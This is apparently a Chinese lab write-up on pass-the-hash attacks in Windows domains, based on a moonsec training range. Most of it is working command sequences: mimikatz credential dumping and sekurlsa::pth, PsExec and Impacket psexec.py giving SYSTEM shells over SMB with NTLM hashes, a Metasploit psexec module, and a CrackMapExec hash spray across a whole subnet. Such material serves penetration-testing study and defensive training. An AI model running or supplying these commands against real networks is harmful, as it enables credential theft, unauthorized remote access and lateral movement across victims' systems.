文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
PTH(pass-the-hash) HASH 传递
描述:
pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
原理:
在windows中,通常都会使用NTLM身份认证,NTLM不使用明文密码,而是使用口令加密后的hash值,hash值由系统API生成;如果攻击者获得了hash,那么就能够在身份验证的时候模拟用户进行登陆,从而跳过条用API生成hash的过程。
因为对PTH攻击微软加载过相应的补丁,所以常规的PTH是无法成功,唯独administrator(SID500)这个账号例外,那么我们就可以利用这个账号来进行pass-the-hash远程ipc连接
注:如果禁用了ntlm认证,psexec无法利用获得ntlm hash进行远程连接,但使用mimikatz是可以攻击成功。
mimikatz pth
先进行初始化:
privilege::debug #初始化
将hash进行导出:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt #将hash导出到password文档里面
本地实验是可以成功反弹cmd:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b4a59c7bdab7afee29d42e90e5a185cb
假设我们域内有多台主机的密码是一样的,我们通过前期的信息手机已获得了域用户名,那么我们同样可以使用mimikatz来远程登陆:
sekurlsa::pth /user:administrator /domain:192.168.1.8 /ntlm:b4a59c7bdab7afee29d42e90e5a185cb
domain这个位置使用IP或计算机名都是可以的。
psexec pth
原理:
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议
psexec连接,可以使用先建立ipc,再进行psexec连接,也可以直接使用psexec连接,只不过前者是在IPC连接时,写上密码;后者psexec直接登陆可以使用明文或者hash传递。
IPC连接:
net use \\192.168.1.8 /u:administrator 456789 #建立IPC连接
Psexec64.exe /accepteula /s \\192.168.1.8 cmd.exe #使用Psexec反弹cmd
net use \\192.168.1.8 /del #删除IPC连接
/accepteula #当第一次使用,不需要弹窗确认
/s #以system权限运行。如果不使用这个参数,则是返回当前用户正在使用的权限。
PsExec.exe /accepteula /s \\192.168.1.8 -u Administrator -p 456789 cmd /c "ipconfig" #使用明文登陆反弹system权限
当不使用/s命令时,我们来查看权限:
利用psexec脚本完成hash传递:
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b ./Administrator@192.168.1.8
这里采用的hash格式是LM Hash:NT:Hash,所以LM Hash是可以随意的数字来代替。
利用psexec 使用明文密码登陆:
MSF psexec模块 pth
use exploit/windows/smb/psexec
set SMBUser administrator
set rhosts 192.168.1.8
set smbpass aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b
exploit
使用CrackMapExec工具来进行pth
windows使用下载地址:
https://github.com/byt3bl33d3r/CrackMapExec
在kali中可以直接安装:
apt-get install crackmapexec
对C段进行批量pth:
crackmapexec smb 192.168.1.0/24 -u administrator -H 627782b7274e323941c9418399460d5b